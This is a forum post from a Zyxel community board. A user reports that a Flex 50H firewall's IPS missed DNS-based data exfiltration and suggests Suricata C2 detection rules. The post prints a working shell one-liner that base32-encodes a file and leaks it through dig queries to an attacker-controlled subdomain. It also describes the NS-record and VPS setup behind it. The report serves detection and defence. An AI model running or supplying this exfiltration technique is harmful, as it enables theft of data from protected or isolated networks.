IPS - detect DNS data exfiltration
Freshman Member
Hi, I just tested if my Flex 50H IPS would recognize DNS side channel data exfiltration. It does not. This really isn't good, because, and you can prove me wrong on this, most people who want an "air gapped network" still allow the devices to access the ZyWalls DNS server, for convenience. The problem is, that in most setups the ZyWall will forward the dns query if it doesn't know the subdomain. That DNS server will do a recursive lookup if it also doesn't know the subdomain. As an attacker, I can just create a NS record for a subdomain I control and point it to some VPS I am hosting. There, I can run something like this to log all dns queries that reach the server:
https://github.com/KarimPwnz/dns-exfil
In the "air gapped network" I can exfiltrate data with a simple one liner, like this:cat /mnt/secret.pdf | base32 -w63 | tr -d = | while read a; do dig $a.exfil.my-domain.net; done;
I would have hoped that the IPS would catch this kind of traffic, since it is extremely unusual. But it does not. I did let it run for about 10 minutes, made about 1800 DNS queries that reached my server and exfiltrated about 0,25 MB of data. All that without the IPS of my ZyWall caring about it at all. 1800 DNS queries for different sub domains of the same domain in 10 Minutes from the same host really can't realistically be anything but side channel data exfiltration.
I think you could solve this problem quite easily, by adding these rules to your suricata ruleset. They are MIT licensed:
https://github.com/GDATAAdvancedAnalytics/Suricata-C2/blob/main/DNS/C2_DNS.rules
Here is the article, on how these rules were created. I haven't really read it, because I already know how to do it, but since the rules look fine to me, I guess the research methodology of the article should be fine to:
https://cyber.wtf/2024/12/06/detection-of-c2-using-suricata/
Categories
- All Categories
- 442 Beta Program
- 2.9K Nebula
- 217 Nebula Ideas
- 127 Nebula Status and Incidents
- 6.5K Security
- 583 USG FLEX H Series
- 344 Security Ideas
- 1.7K Switch
- 84 Switch Ideas
- 1.4K Wireless
- 52 Wireless Ideas
- 7K Consumer Product
- 297 Service & License
- 476 News and Release
- 91 Security Advisories
- 31 Education Center
- 10 [Campaign] Zyxel Network Detective
- 4.8K FAQ
- 34 Documents
- 87 About Community
- 102 Security Highlight